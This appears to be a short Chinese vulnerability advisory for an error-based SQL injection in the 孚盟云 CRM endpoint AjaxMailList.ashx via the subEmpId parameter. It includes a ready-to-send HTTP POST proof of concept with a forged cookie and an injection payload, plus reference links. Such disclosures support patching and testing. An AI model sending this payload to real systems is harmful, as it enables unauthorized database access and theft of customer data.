Description
孚盟云CRM系统的/m/Dingding/Ajax/AjaxMailList.ashx接口在处理subEmpId参数时，未对用户输入的SQL语句进行有效过滤和校验，存在报错型SQL注入漏洞。攻击者可通过构造恶意的SQL注入语句，利用该漏洞非法获取数据库敏感信息，甚至执行任意SQL命令。
孚盟云 CRM /m/Dingding/Ajax/AjaxMailList.ashx SQL 注入漏洞
PoC
POST /m/Dingding/Ajax/AjaxMailList.ashx HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Cookie: UserCookie={"empId":"1"}
method=&subEmpId=1')and 1<user--
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://mrxn.net/jswz/fumacrm-Dingding-Ajax-AjaxMailList-sqli.html
https://github.com/eeeeeeeeee-code/POC/blob/main/wpoc/%E5%AD%9A%E7%9B%9F%E4%BA%91/%E5%AD%9A%E7%9B%9F%E4%BA%91%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3ajaxsenddingdingmessage%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
https://blog.csdn.net/qq_41904294/article/details/135708887